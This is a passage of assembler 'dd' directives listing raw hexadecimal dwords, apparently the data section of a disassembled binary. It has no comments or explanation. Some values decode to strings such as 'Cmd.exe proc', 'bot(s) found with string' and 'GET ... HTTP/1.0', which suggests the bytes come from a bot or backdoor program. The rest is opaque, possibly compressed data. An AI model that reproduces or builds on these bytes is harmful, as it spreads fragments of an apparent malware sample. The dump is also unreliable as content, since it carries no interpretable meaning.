		dd 0A486DFFh, 2B0C5D48h, 6373E95h, 485B51ECh, 50E8500Fh
		dd 881C22E8h, 4CC36549h, 0F7328B54h, 0C674AB15h, 8B6B3DCCh
		dd 577F055Fh, 85221C70h, 6BC28CC0h, 6F5125C4h, 0E0EBE2A1h
		dd 0B2AB545Fh, 6E191A89h, 1C0B5754h, 80460089h,	0EA800003h
		dd 4F9E009h, 0CB9A6578h, 0BDF4F468h, 8367900Fh,	808F4AAh
		dd 21608002h, 813A4B01h, 0C053DC04h, 5F692BDAh,	89210024h
		dd 0C9552F4Ah, 1D616888h, 0BD525361h, 0EC402E51h, 8C57B355h
		dd 780A8932h, 72EF6B2Bh, 581A18E9h, 994409Bh, 18608D3Eh
		dd 3C244506h, 0B236780Eh, 0D57724Fh, 762C9567h,	9C0C10B0h
		dd 0CD23D859h, 6D40C800h, 8A419002h, 980A98E8h,	878B0511h
		dd 0A312DCB8h, 488BEE12h, 7BF46B0Eh, 0DC10092Ah, 0DB04353Dh
		dd 0DB0035E8h, 1AE9BA7Fh, 53FC0AB6h, 68F8076Ah,	5B90DE88h
		dd 0A4137C97h, 0D8C520EEh, 2F4AF5EEh, 6EED872h,	311805CAh
		dd 9092A0A8h, 3556747Ch, 0F8103D0Bh, 517E67A9h,	5ED10EBh
		dd 548A010Ah, 62762D90h, 3D05DBB3h, 4F04CF2Bh, 2D8B839Fh
		dd 498EBB76h, 0AAF209C2h, 7F75D904h, 0BC44D0ACh, 5BFD9568h
		dd 0E5510D94h, 0E7DCBC81h, 4CCE6ADDh, 0A3DF7C54h, 5040901h
		dd 8499266h, 9E40100Ch,	0EEE03E15h, 282A11C9h, 0EBFCC2ECh
		dd 7D820C36h, 2FDD5901h, 0DEF747BCh, 74B8137h, 5DD0E48h
		dd 0AB994ECCh, 42EB4080h, 7646C28h, 0EEDF9C01h,	6062122Dh
		dd 5751D731h, 48C34D2Eh, 9524B08Ah, 5BE9C25Eh, 0ED628A82h
		dd 4338022Ch, 0CA02AC25h, 0DB98E572h, 8207D859h, 6DCAB22h
		dd 0A871EFE4h, 75334066h, 64AA13B5h, 0B23B786Bh, 0FD48D9D4h
		dd 6751923h, 140EB3F9h,	0A2093C05h, 0DE7C2D8Ah,	5921B22Fh
		dd 0EFE4F91Eh, 12716106h, 38AFEBD0h, 3702C3E8h,	7FB12009h
		dd 8DC9E6BCh, 0DCEEDC1Eh, 0C36309EEh, 4A3D82CBh, 0D93C99F4h
		dd 2812633Fh, 1C5AFBBAh, 68707468h, 8C50C318h, 3A97BB90h
		dd 6C681521h, 170A033Fh, 6811BD44h, 0EAADE2Ch, 59E60058h
		dd 0D140859h, 0C897E484h, 0C34F8256h, 552C25FFh, 0C8C8BC05h
		dd 0B4B8C8C8h, 0C8C8ACB0h, 0A4A8C8C8h, 0C8CD9CA0h, 9498C8C8h
		dd 46CC8C90h, 0CCB64646h, 80848825h, 4645977Ch,	747846h
		dd 752F7D51h, 4C4F3D84h, 81145D24h, 462D0BE9h, 4FB1C40h
		dd 73170185h, 436EDFECh, 0CC4DBD1h, 0D18BE18Bh,	165FC350h
		dd 70B19192h, 686C4Dh, 0FE276DD0h, 24448B53h, 52D10B14h
		dd 50C0B10h, 5F556DD1h,	0B70807F1h, 0BB628895h,	195C5081h
		dd 4AFFFC0Bh, 0E9D11554h, 0EAD1DBD1h, 0C90BD8D1h, 0DFBBF78Eh
		dd 1BF3B76Dh, 913D64F7h, 0D1031004h, 243B0E72h,	76DD0877h
		dd 280773BBh, 52B0876h,	14111B10h, 0F6B00807h, 0F70C375Bh
		dd 0DA83A9DAh, 0A7C25B00h, 0A419A47Fh, 1880563Bh, 6B191014h
		dd 8AD86F74h, 80E1D307h, 0B2199B14h, 0F0809E98h, 9A6DC839h
		dd 0F7C47EC1h, 71083E6h, 0F0B2760Ch, 4C610ADEh,	725EC68Bh
		dd 56E16401h, 57603243h, 3FF3328h, 3EF6B75Ah, 6547147Dh
		dd 0D883A9A5h, 3B0E4B89h, 748913EBh, 26181B1Ch,	1C99877Bh
		dd 0B63F18B6h, 0B1B3F610h, 5419D841h, 0D1EBD1D4h, 0C8C9B6D9h
		dd 0F1DB3348h, 83C2181Ch, 1014320Ch, 3207754Fh,	1EC646C6h
		dd 5CC15F5Eh, 46540558h, 50464646h, 4644484Ch, 40464646h
		dd 9134383Ch, 30464611h, 70240928h, 6AA50608h, 635D1258h
		dd 1660EDB8h, 8D0A6C89h, 15F83F03h, 3108481Ah, 3DCF7407h
		dd 83474498h, 6F70F1ABh, 76382A98h, 558D7482h, 3DBBA20Ch
		dd 0A06852F0h, 111127DEh, 561C317Ch, 0A68A5B5Ch, 0C1D0814h
		dd 0EB440EF6h, 867D8A5h, 5EF68528h, 7B9553Dh, 0C8578E0Ch
		dd 2AABD961h, 5FB7AA18h, 8B64C072h, 6870C52h, 8B56C830h
		dd 0D5CF0C19h, 0F708EBBFh, 6473B868h, 4B89ED5h,	83F18B56h
		dd 7FBDBF66h, 4460C97h,	0B406C7C6h, 80E5272h, 7C800D74h
		dd 8BAC639Ch, 82065324h, 11550D04h, 2DE7E3BDh, 9AF64A39h
		dd 56077401h, 9B9AC18h,	4DD21B4Fh, 6ECDB68Bh, 4E898BB7h
		dd 5608402Eh, 5854C0B0h, 486C0E7Bh, 6E1B8B04h, 6C14BB5Ch
		dd 0C76791Bh, 0BA4656DFh, 0B02A0D9Ah, 14C0395Eh, 0C6660C80h
		dd 0A4801805h, 6D918462h, 77201C27h, 0DC33058Dh, 4B1FE1BDh
		dd 804C33Bh, 3B0F21Eh, 0F1EC0B7Ch, 0AC2050B8h, 0FF141975h
		dd 4100455Eh, 7A0AF40Bh, 0CF44C344h, 0B1D4552Dh, 35F7D49h
		dd 5C978D00h, 95720F7Eh, 6AE7958Ah, 0F75DB7BDh,	3FDB9h
		dd 3DB07C5h, 50772F0h, 59B66C6Fh, 8673382Eh, 331FDEB0h
		dd 361F2137h, 4172C075h, 0EC1B1301h, 3BD8490Bh,	47D013E0h
		dd 8725764h, 13207308h,	2FB07EE9h, 2013283Bh, 4199305h
		dd 7B3B7023h, 0B05B2160h, 7BC1B6Fh, 9F966E49h, 26FC597h
		dd 0B3416FD1h, 87607748h, 7F211B10h, 906C3732h,	6B2F4E90h
		dd 0A23D5B00h, 3B809800h, 0D33FFF5Ch, 14400374h, 8A9BAA28h
		dd 88998DBCh, 0C884B78Bh, 0C4FFFFFFh, 0AAA3F993h, 0ABB697C9h
		dd 0B187A487h, 0D9B59EBCh, 86A5E398h, 0AA8EA5CAh, 0FFFFEC89h
		dd 0BFAD2BBFh, 0A6B5BF9Ch, 0DFBB9EADh, 9AB8E595h, 85B69FC9h
		dd 1B9184A7h, 29FFFB7Fh, 0B0BAA1BFh, 0EA85B5A7h, 9BA5E2B5h
		dd 8D8F57C3h, 0A7BDA7BAh, 0FFFD900Bh, 83E4AAACh, 0D48C84F9h
		dd 8DBAAB8Fh, 333B00BBh, 7FFFFFFh, 2343003h, 2037525h
		dd 746F6220h, 20297328h, 6E756F66h, 69772064h, 2C026874h
		dd 7320FF63h, 6E697274h, 73212067h, 966C3B2Eh, 7325BEC8h
		dd 32161B23h, 2086DB76h, 2007200Ch, 5E690F28h, 29DB21FBh
		dd 202D2D78h, 2D2E694Ch, 0F604DCE6h, 0A73A555Bh, 0DD601F3Eh
		dd 4BC714BFh, 136C6C69h, 0FFFE4C00h, 1FD7B542h,	2E646D43h
		dd 20657865h, 636F7270h, 0DB6C7365h, 683BDFF2h,	74207361h
		dd 616D7265h, 43AB6406h
		dd 0B2DBEDB6h, 20566E6Ch, 8616572h, 6C611564h, 0DBD6D86Dh
		dd 21306D2Bh, 0B6B56343h, 45009F6Dh, 7D721372h,	0BB4F6668h
		dd 0FDB1B76h, 63B27563h, 0EF616D2Ch, 0DB0A0D28h, 36F6B5Ch
		dd 4B6D6552h, 6866321Eh, 0EF6B7652h, 706F3FDDh,	1B9F6E65h
		dd 75766951h, 84B78425h, 6C216913h, 0B8FB6D6h, 66322E30h
		dd 0E92D730Eh, 0BB9E1013h, 424B3319h, 3B4B162Fh, 1661D817h
		dd 570C56h, 0DB6D97B2h,	532F6277h, 741F7482h, 85EC756Fh
		dd 725403DBh, 3C6673E7h, 4A666F20h, 0BB5B958h, 6CE11F63h
		dd 0D95F9F6Ch, 647A4BACh, 100329Dh, 0F6C6C744h,	214343DBh
		dd 20444E45h, 21220F22h, 0BC622464h, 105B6F7h, 373C1AE3h
		dd 0DBEE654Bh, 72132903h, 0A100F0CBh, 749912E0h, 0D80FF700h
		dd 12436DB6h, 67044C2Dh, 75623AEDh, 7656F6B3h, 191317BDh
		dd 0BFDB8D1Bh, 544547FBh, 488B2F20h, 2F505454h,	15302E31h
		dd 60696F48h, 3B75EC24h, 2AF32173h, 7F8D4858h, 6E776F64h
		dd 24096F6Ch, 42E36E73h, 628E55C3h, 0F850A42Ah,	617B0A78h
		dd 53277472h, 66956375h, 0DD923030h, 58796CB4h,	0C92D7C51h
		dd 1A32BB81h, 1CF62C48h, 0BB565BBh, 0AEC7075h, 9B66C35Fh
		dd 6966DE06h, 0B5F75D88h, 70916DB6h, 65156934h,	0A6032F43h
		dd 3A591DB6h, 704B73BBh, 0B6134FEEh, 3A354ED4h,	36346C11h
		dd 0A8DFB468h, 74662439h, 3D2F3A70h, 5DDB5821h,	2279605Ah
		dd 32437375h, 0B0160331h, 3D52D9h, 74333038h, 4DB65B0Ch
		dd 2F431B52h, 7235739Bh, 846C1FCh, 2F1F9FB3h, 0ADB3AF73h
		dd 0C4741B77h, 75E70A65h, 595BD90Ch, 446F1038h,	2563D85Bh
		dd 246F3AABh, 28DEB11Dh, 51343023h, 0CB6845CCh,	0BF3A4955h
		dd 2D1330D6h, 20B6B420h, 70A97FA3h, 62EFF727h, 4D826775h
		dd 0A875646Fh, 4BA7F70Eh, 9457415Bh, 68737C63h,	0DDA376ACh
		dd 4E731878h, 4165B03Dh, 761C0658h, 3830F6C8h, 43420858h
		dd 0D87B4411h, 49538790h, 1A504208h, 0D8721FDh,	4C464908h
		dd 9E534741h, 0B8C2B63h, 65884B2Eh, 9A9317DCh, 107D9DA3h
		dd 0FF230045h, 0B8758D80h, 0D952BB75h, 45435845h, 0FE495450h
		dd 4FEDD81Fh, 54465F4Eh, 54530F00h, 5F4B4341h, 5245564Fh
		dd 0DEC26DB5h, 574F19h,	43034E1Bh, 0D92C0E02h, 554E0ABFh
		dd 454C4241h, 4923185Fh, 0DFCBEDB0h, 49445F1Fh,	42444956h
		dd 465A5F59h, 0CDEF434Fh, 4C49BDBDh, 4C414739h,	55526927h
		dd 5EE61343h, 421F6138h, 504B2A52h, 0DA37464Fh,	9516D6F6h
		dd 5F535309h, 5DF74F58h, 73C8FB7Fh, 6748544Fh, 70647500h
		dd 72124900h, 0F6B9B0D6h, 4774656Eh, 6308FA02h,	0DDF55391h
		dd 5B71236h, 77F87845h,	2E1E69FDh, 0A5DA176Bh, 50009464h
		dd 4365B118h, 0D151E02h, 1B379A18h, 0B4740011h,	17D7EFB1h
		dd 8662363h, 7DA364CFh,	29BF1C25h, 0A23B671Bh, 77BD93FBh
		dd 0B0E656Dh, 3273771Ah, 3232335Fh, 1EE022CCh, 7C4E5700h
		dd 193B825Eh, 32D17EC2h, 41411757h, 4B2B6D48h, 28132C58h
		dd 167BDC6Dh, 1A60B12Bh, 0BAE96C41h, 0D6DD73FCh, 0B751823h
		dd 531B974Eh, 0F0656863h, 967F739Fh, 26626F4Ah,	69702FB3h
		dd 0CF667542h, 0F75D660h, 1300CF46h, 0C64F54FEh, 44B06256h
		dd 1C6F530Fh, 58B32B45h, 0F6DD83Bh, 0E2E7355h, 92C9700Bh
		dd 17B644B5h, 0D9420B57h, 4969684Eh, 61676E1Ch,	35B12C05h
		dd 698B001Ch, 7AE661B9h, 33ADB3C2h, 0A630963h, 6E41CB53h
		dd 260AE893h, 0CF6E28B6h, 0D86B27ADh, 0B17B2D2Ah, 0A76F376Ch
		dd 0AFEE1253h, 841CF51h, 658494Eh, 0DA7C0C43h, 0CE6E3512h
		dd 54FC6469h, 6AB9B07Ah, 6DE7763Dh, 0E903B287h,	2049D87Fh
		dd 0F7723131h, 33FFFEh,	0C6AEB58Eh, 0A6BBB6FEh,	93D8D8A7h
		dd 31037CE3h, 76792E30h, 8E39DBECh, 2E383631h, 732370Fh
		dd 605D3732h, 2E8616D8h, 313A5F02h, 0CC26CAC1h,	0F3A130Fh
		dd 9B0F5AB5h, 474C0793h, 966193DFh, 72B135A1h, 43443D0Bh
		dd 0C5AB17B2h, 1723FDEAh, 6B838C10h, 0BFD9F846h, 0F166CEC2h
		dd 1FEE5090h, 30411373h, 0BF0E5E38h, 460D4C86h,	7973C685h
		dd 3437E7CCh, 0D59B3A1h, 4252ECBh, 9C0DD773h, 25F500D0h
		dd 8B2D7027h, 3A5461D0h, 62EF0FA7h, 30CBDCEFh, 7475832h
		dd 554B4813h, 72790653h, 4D4C073Bh, 0C1525543h,	438BEDBAh
		dd 3A8C28Dh, 0A6900798h, 64889A69h, 0D3203454h,	0C6ECB35h
		dd 0E48CF403h, 0DBC07D0h, 9C4D34D2h, 4C5C6C88h,	0D34DA2C9h
		dd 0F0102403h, 0D4BF1F8Bh, 63B4A97Fh, 0BBA7A79Ah, 0FFD6B6AEh
		dd 0C89BB2CBh, 1FCBB69Ch, 0ADF9FFA9h, 0A7B8A4B0h, 77C493B0h
		dd 98A1A790h, 0FFECBBA4h, 93EC3FFFh, 0B83393CEh, 0A184A9B2h
		dd 0ABBCB5B7h, 0DBD6D899h, 8BC390B6h, 0FD899EE2h, 0BCFFFB07h
		dd 0BBA9A3B1h, 0E593E5D6h, 9CC580A1h, 0BEAE9827h, 0ACB1E69Bh
		dd 0FFD8CDADh, 0B28A3787h, 0A78187B6h, 8EA7E6A2h, 0A4AA0FD3h
		dd 0FFFF6032h, 91E8A6B1h, 0EEA5D483h, 94C39DA4h, 0B89898E2h
		dd 0FFFFA42Bh, 77ABD81Fh, 8CB7ABAEh, 0E8A7A3A7h, 81C2938Ch
		dd 8682A5F8h, 82ABABBFh, 8DAB761Dh, 1FA4B813h, 15B0F9Fh
		dd 8933C86Ah, 0C293035Bh, 0D8D8723Eh, 0FA8E1382h, 5793BAADh
		dd 0FCAAD61Eh, 9AC68E87h, 0BA9CE777h, 5F606EE1h, 0BAB1A6A7h
		dd 0A7A13B4Fh, 0FFFA10B3h, 8E975807h, 0F999D199h, 89D6A8F7h
		dd 0A98BB0AEh, 83FD5AA0h, 951F8BB9h, 0A687BEADh, 2FACB1FAh
		dd 0FC1B7FCh, 0A68D1FBAh, 0A79BF4A0h, 0F72FC084h, 0F083D3BBh
		dd 0B0BB56FFh, 84F4AD85h, 0D395ADBAh, 9A3BE485h, 0C84FD80Dh
		dd 0B1B0ABB1h, 43BB9BB8h, 0FFFFFFB5h, 0D689BDB6h, 83A1AD87h
		dd 0AEE39FC4h, 0B68CE7C9h, 0BDBA87B1h, 0A5E2B1A0h, 7BE184D3h
		dd 0BEEC3F20h, 9537C38Ah, 3A89AAB1h, 70340729h,	5C5C6689h
		dd 0B96C70A6h, 346EBB72h, 0FB53D048h, 5CD37774h, 36EC6A4Dh
		dd 73B97B5Ah, 0E0575C0Dh, 1B8B6BADh, 435C732Bh,	561C729Eh
		dd 0AE756E2Bh, 5C7073A6h, 9D402F52h, 0A54A6F68h, 6630A6A5h
		dd 5A9C3AA6h, 97B5AE46h, 61676138h, 4C0C0D30h, 0F6D1ECD9h
		dd 4483A41h, 0A0F4046h,	0A150C9D1h, 0BC1BA837h,	6BD43594h
		dd 38204F67h, 0CEC11625h, 6162635Dh, 0E2BC8074h, 58952A3h
		dd 0F5720F70h, 63C37360h, 86698540h, 3AF025ABh,	7CFC6895h
		dd 2147A5D2h, 736B897Ah, 0C14E2EBBh, 8683E21Ah,	0B94E0403h
		dd 33D6336Ah, 6204810Ch, 23333236h, 20C8B53Dh, 2EEF3064h
		dd 61FFBC08h, 0B1940002h, 0BBABC6B7h, 974F3EB9h, 37A5FF8Ch
		dd 0D8A3BAA6h, 0F9FA99D5h, 7E23778Bh, 0ACECFFD8h, 0A39D0BB1h
		dd 0BAE685ACh, 9E1BBCB1h, 7F8FB6ADh, 33978C19h,	7BA7A9FAh
		dd 0A7A58D97h, 0D3A1E6BAh, 99FB3D2Dh, 0A2F6D8DBh, 0DF90E813h
		dd 0FD9803B4h, 544D3692h, 0F38FE43Ch, 86AEAD9Dh, 2FFFA5FBh
		dd 0ECACB5D3h, 0F29BD791h, 98DFC7A4h, 0B7E66BAAh, 0FEDA5BBh
		dd 1F8DFFF8h, 0B596C2C6h, 0B0B5F7B7h, 0D19FB1E7h, 0C6B3F298h
		dd 0FEB296D6h, 6BDFFFFFh, 0A9ADFBB8h, 0A9D999AAh, 0C383B2F5h
		dd 8DB5A78Eh, 0BC8BE6ACh, 0C79BC7AFh, 0D891B2B9h, 8C49FFFFh
		dd 0A98FF7B1h, 0F3BBB1B9h, 0FA9FCFD8h, 96C5C7B0h, 0FFFF6FAFh
		dd 0C5ED5FFFh, 0B1B8C799h, 0A4C895C6h, 0E6FCD9EDh, 0C6FAE5E3h
		dd 0E3BA9382h, 0EFC0C0D1h, 0FFB7FEE1h, 0ECF98BFFh, 0C7A3FDF9h
		dd 0B5A4CFD2h, 0F1CC9EDCh, 0B5D3C7BCh, 0D598BBBBh, 8CAFF2D8h
		dd 0C2E0907Ch, 0F7FF9BB3h
		dd 0FDB9A78Bh, 2321EDEDh, 0BAAC89ADh, 0D9AFA0E7h, 0D49BA2F4h
		dd 0DFFFD79Ch, 8FC7362Eh, 93AEAF3Dh, 0BBF899E2h, 8B8BC78Bh
		dd 17BC9BB7h, 25F09CBFh, 0EF93986Fh, 848D47B2h,	0E6A6B5AAh
		dd 0B7B2C0A1h, 0FB91D3A5h, 2795ABB2h, 60C51C0Ch, 65930753h
		dd 98DC4A30h, 534F1520h, 395B9059h, 3F5CC64Ah, 0AD6C7670h
		dd 850E6235h, 620D1102h, 17CA8EE3h, 50696408h, 6DEC3A55h
		dd 12D87DB0h, 147A484Dh, 0D03AA052h, 1196AD65h,	25200AC6h
		dd 40ED46F5h, 3676B420h, 6B2993Ah, 70D6896Dh, 5733D382h
		dd 0DED5B603h, 3D685379h, 30105A2Eh, 0CCDF000Eh, 6B1D161Ch
		dd 4E6EEA20h, 2473014Ch, 8700FB0h, 727120Dh, 0DB196F13h
		dd 53C17837h, 52418B83h, 45035744h, 0A360DA31h,	95539E5Ch
		dd 0AEA53E49h, 1C5C84D6h, 7D721114h, 64C745D0h,	4EE85C36h
		dd 0DF3E59D8h, 32F077CDh, 333030h, 0B005058h, 0C9454D30h
		dd 395DD745h, 7542338h,	0C396FF35h, 0A554A1B9h,	3F6Fh
		dd 0C3435B6Bh, 772B5882h, 0C596B51h, 93800908h,	607C84C7h
		dd 540FA86Fh, 5ADA7079h, 1C46848Ch, 0D1C8775Dh,	152FC581h
		dd 28B9144Ch, 7965DB2Ch, 0B888C112h, 9BAD780Ch,	2B70274Bh
		dd 0C5D8488h, 43525771h, 88B9F892h, 7CBAB45h, 16E57641h
		dd 0F86C1568h, 14F04279h, 0A32A945Ch, 0C255A0A0h, 7F7F00A1h
		dd 866E6B6Eh, 0AED71303h, 5C511205h, 0F16F5447h, 54CB6C19h
		dd 73714620h, 0A15975B2h, 9B17DE03h, 35168C61h,	50630DCCh
		dd 0C8DEDC37h, 0F5F612h, 0C01F2D0Fh, 0E3D6C82Dh, 6DA47587h
		dd 302D564h, 6BB2BFh, 562D6463h, 3A045A7h, 78630822h, 4C039E37h
		dd 0E3760FF0h, 0D84973Fh, 0B5121Bh, 0C061CD17h,	900B587h
		dd 27677462h, 6E8E688Ch, 5D7F2011h, 6819E08Bh, 30EF08B5h
		dd 0BD5E2393h, 7EC2484Dh, 2181B6C5h, 0C62AD051h, 0A137B32Ah
		dd 0E7B6EF21h, 4D9B6057h, 70FE7882h, 425272EFh,	2EDD4ECBh
		dd 860BCE1Fh, 2F11DB0Dh, 801A3608h, 538525ABh, 4CDF14CDh
		dd 0AF76BA6Dh, 4D43490Fh, 5B60CE50h, 99197EABh,	0F664830Ah
		dd 0DB0110h, 3A38032Ah,	36EC01Dh, 6D05271Bh, 36550473h
		dd 24C564Bh, 0D971482Bh, 293187ACh, 5865EAFBh, 936C9A1Ah
		dd 0CB62C403h, 6D63E36Fh, 6F6C4370h, 780FAD48h,	4F4744CFh
		dd 0FDFCA45h, 753BDD1h,	0D92F48E1h, 118E192Eh, 73177C30h
		dd 0EBE95BADh, 66F7A61Ah, 680C3C74h, 0EDD5ED95h, 203E0B9Bh
		dd 70093C5Bh, 990BA463h, 3CA76BE1h, 70090A1Ch, 0E13B1555h
		dd 435DDA2Ah, 0D84FE16Dh, 34F1213Ah, 75517333h,	2A047994h
		dd 2EF98C24h, 59D91A24h, 2671A3B1h, 4591685Fh, 8E033C53h
		dd 1A81B6AAh, 0B52FB791h, 98ABBAh, 4800A3F2h, 371D026Fh
		dd 0E76665D1h, 63132173h, 698EEC52h, 29F608Fh, 35C0E11Fh
		dd 0EF96690Ah, 2854DDEAh, 6B3325ECh, 3703351Eh,	9D9BACFBh
		dd 5807320Bh, 1590C454h, 722A5C14h, 7B353239h, 7B351F0h
		dd 80DF80F9h, 6026C8CEh, 9013026Bh, 4EE43C9Fh, 0C5582C68h
		dd 29E403A0h, 0D06C68C9h, 59C06B50h, 59DCE83Bh,	990A33E8h
		dd 3233E75Bh, 0BEC3EC4h, 408308B0h, 72A82F17h, 25F0701h
		dd 7518081Dh, 0B2ECE0B8h, 6484941Ch, 0FD94868Fh, 0E806F8E0h
		dd 34767069h, 54AC6720h, 34A6568h, 6F0F9281h, 6C30E081h
		dd 22E7D90h, 3E7652BAh,	0ECF33FF6h, 63465F10h, 23626420h
		dd 979A4EDBh, 7D923349h, 2711BA18h, 80810737h, 43388C8Dh
		dd 28382476h, 9944EE05h, 0AC365B09h, 90335D68h,	6007B00Dh
		dd 7C262322h, 3C34C813h, 46536AA7h, 0D38CEBAFh,	0A2674363h
		dd 0A5B2DD50h, 0E3A8AF61h, 0C9C20FF1h, 46C8784Fh, 0FB461805h
		dd 0A42278h, 327EC0EDh,	0EC267EA8h, 59433756h, 4C2E0338h
		dd 939B0AB2h, 2D9E039Ch, 308A7881h, 0F6A79978h,	99612C2h
		dd 2819D263h, 7A3B1371h, 204FB0F6h, 0B23901Eh, 60AF5E10h
		dd 9E49C52Ch, 4A0BC245h, 0F64F4D07h, 28A07EC9h,	1597907Ah
		dd 919B1113h, 0E0E08BD5h, 0E6440703h, 0DBED6D20h, 0F1E24D5Ch
		dd 6E034514h, 2727D9CBh, 5136F879h, 1B5021F8h, 0C9F3F30Ch
		dd 0C3383B3Eh, 0B0429013h, 52415073h, 4E12E254h, 14FE20F2h
		dd 4AFFAA88h, 95CF6D96h, 17221F1Ch, 62AC2362h, 0C047AC90h
		dd 24ECBD43h, 729D50FDh, 56EB3304h, 0D85F3763h,	0CF93E40Fh
		dd 423C479Ah, 23410B60h, 42764F1Bh, 15D3957Eh, 4F698D98h
		dd 8610DA78h, 0C9248BE3h, 97101341h, 2807EC0Eh,	3B774003h
		dd 36653A62h, 870D185Fh, 642A9934h, 512EA0DFh, 24EAEA55h
		dd 6FE17449h, 61D939CAh, 6DBCABC1h, 6E653B4Eh, 0F23807h
		dd 2209020Eh, 0F88B21F6h, 96E70064h, 7D33109Eh,	0D8F203D9h
		dd 8A4053Ch, 0A20B1622h, 0F0920C17h, 0CF179764h, 80A660E7h
		dd 85EC1E64h, 907BFC35h, 5864574Bh, 0FC976415h,	88A02310h
		dd 0BDE22D9h, 0FB09B0BFh, 0E53CCCE8h, 0F90FD38Ch, 0F15561C7h
		dd 61207E40h, 0A067270Bh, 0E109E120h, 0F7608397h, 0D897AE1Fh
		dd 4EE72BAFh, 980F92F2h, 0B8615D6h, 86C44A38h, 0AF05F5E3h
		dd 9569B2A6h, 50CF5B0Ah, 566B4C08h, 0A3448CD0h,	634A2257h
		dd 3C43266h, 0F177DD1Ah, 0DF6568BDh, 796C723Ch,	0FED7372Eh
		dd 29922D59h, 52422336h, 4E454B4Fh, 1DFB59D8h, 2330F1Bh
		dd 0E78A0B0Dh, 3FFFFFFEh, 0CD818BACh, 8196F4BDh, 0D6C3D39Ah
		dd 0FDD3F9B9h, 0C8AAE7D9h, 0E6FAEE95h, 0D8C5D3E2h, 43F21F90h
		dd 2E78970h, 0B7B3F8D0h, 3F607FFFh, 0C2C28390h,	9D81BB0Fh
		dd 9E9C8FAEh, 0E7A68F83h, 3F00C3A4h, 0BE81FFECh, 0EAF0A0FEh
		dd 0ECE3FEDCh, 0ABBD1FF1h, 1F81BEh, 9827BFF3h, 83D299B0h
		dd 0E2A0A3F4h, 0FF9F8D7Bh, 0BCF929FFh, 8D86959Fh, 8BC3B896h
		dd 0B08BD3AAh, 82BC86BCh, 9FB1BAB1h, 8C9E11E4h,	0FD30FFD9h
		dd 4FA19701h, 0B09F1D29h, 265A7927h, 3231660Fh,	442BA838h
		dd 66894789h, 1C7EC90h,	77A309F6h, 705160B2h, 0C0FB2B14h
		dd 6E65E498h, 2320633Dh, 0B2413323h, 176CB193h,	6BAF99C3h
		dd 66180330h, 64C6BAC8h, 10FC8716h, 1D179FBh, 27C8F84Eh
		dd 304BD63Bh, 0D1B7146Eh, 911A80A5h, 3F189EF8h,	49400421h
		dd 0FEE5EEBBh, 56495250h, 3547534Dh, 33B1F54h, 9A683D3Ch
		dd 0B3E2CEEh, 2F243D21h, 0FC3AED58h, 66240F36h,	0D4830B8Eh
		dd 846CAB37h, 24842457h, 88445F91h, 248C6E76h, 89576E75h
		dd 0C8943B42h, 0E0043631h, 973706Ch, 0E3262617h, 8401B729h
		dd 3AECB304h, 5A9154C0h, 373600BAh, 0E45989F3h,	63032BAEh
		dd 0B80B7525h, 0AAF75365h, 42038B47h, 964E55A0h, 4C41C04Dh
		dd 0C2D8CB2Fh, 536305CFh, 544F4E53h, 5174519h, 0D818ABh
		dd 9D8187F0h, 73A2B47Ah, 432BF325h, 1ABD84B1h, 17202B2Fh
		dd 173EC96Eh, 5D072B2Ah, 33337F5Bh, 917EE97Bh, 401B32h
		dd 3534300Fh, 61F9731h,	4F481E07h, 2067EB53h, 7858782Bh
		dd 67698DD9h, 730F3130h, 0D175DD6Dh, 0F3137B52h, 5260313Fh
		dd 8A35B6ECh, 50746C6Bh, 7014714h, 1728580Dh, 0CF53B3AFh
		dd 731F4C85h, 67659F37h, 12BF6467h, 0E8359684h,	0CC362E31h
		dd 6434281Fh, 1E59D4E8h, 1D96281Ch, 34298DF6h, 0B01243Ah
		dd 0F0030A70h, 846BF678h, 40732D8h, 8C0BA7FBh, 4F6F66F7h
		dd 91CF0781h, 36DFA053h, 434297ACh, 48474630h, 7FA34A49h
		dd 2424D0BBh, 54605150h, 58575655h, 0C6BD5A59h,	673ADED6h
		dd 6C6B6A63h
		dd 2B71B6F3h, 0B7E170A1h, 787776F8h, 320E7A79h,	0BDF32F33h
		dd 387D5648h, 432F2B39h, 702E8F0h, 282D0887h, 98397785h
		dd 0F7383401h, 0E2996341h, 703C86C3h, 0EC30BF8Fh, 42120FF0h
		dd 5C28F5C3h, 8A0DC28Fh, 2735D300h, 770001A7h, 4B750376h
		dd 0C67FDDFDh, 6777F326h, 7277F292h, 0F9D4630Bh, 362C377h
		dd 0FFFF5162h, 0B8036F90h, 0FB717564h, 771AB7Bh, 0ED773AD5h
		dd 5C7C941Eh, 91610756h, 8977DBFFh, 0B877FD1Fh,	6677E216h
		dd 0F02A82DCh, 0FFFCA81h, 2ECD9D44h, 1BFFFF9Dh,	0EF745AAAh
		dd 9D5E21B8h, 0AFFA8B4Ah, 75AFEA75h, 24E7FFE7h,	11EF641Fh
		dd 2836A703h, 0DEF7BF3h, 2FA0F7FBh, 3A7037Ch, 0B7139BA7h
		dd 94A7D818h, 0C330030Bh, 48C0D3DAh, 1167F7Bh, 0C1B3429Bh
		dd 0A00101BAh, 0AD06C0A4h, 3FFFE767h, 8A885D04h, 11C91CEBh
		dd 8E89Fh, 6048102Bh, 0EC8D581Ch, 81F31A99h, 7BDB0B07h
		dd 386FFh, 7FFDE0CCh, 7F0B03h, 23967BEEh, 3E503E8h, 0FE170477h
		dd 6849FFFh, 5824321Fh,	6445CCFDh, 0DD70B049h, 962C74AEh
		dd 0D5E60D2h, 0C9B9F721h, 7F0B701Bh, 9A5F077Ch,	10E6FFFFh
		dd 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0C4F94D0Ch
		dd 33425B0Fh, 0BAADF00Dh, 0ECF4A827h, 606E7F89h, 454D036Fh
		dd 0A2FC574Fh, 6578BCEFh, 0FF033887h, 0D9E70330h, 0C320EA0Fh
		dd 0C8350810h, 6F844300h, 0D417BC18h, 0F6F70797h, 0C401FEC5h
		dd 6400CD28h, 1F0BCD29h, 324373B9h, 0FAB4364h, 4324A6A5h
		dd 0ADA42432h, 3242F89Ah, 5B6073AAh, 82BEF758h,	78EC9F75h
		dd 0BD10D3DBh, 50D7B019h, 2088B64Fh, 0EC08161Ch, 485F00B3h
		dd 23F21348h, 6006603h,	27100209h, 3DE327Fh, 0B30C1978h
		dd 98D8701Bh, 844F9893h, 0D2FEEE49h, 0BE3DA911h, 3257B257h
		dd 0E7803100h, 0B613893Bh, 0B431800h, 24320360h, 0C0F73093h
		dd 0A41FFF3Bh, 0C5811301h, 0E800317h, 99994AE9h, 0D80C8AF1h
		dd 6F50FB08h, 0E302857Ah, 7AB230E7h, 6E5F2312h,	970DDACBh
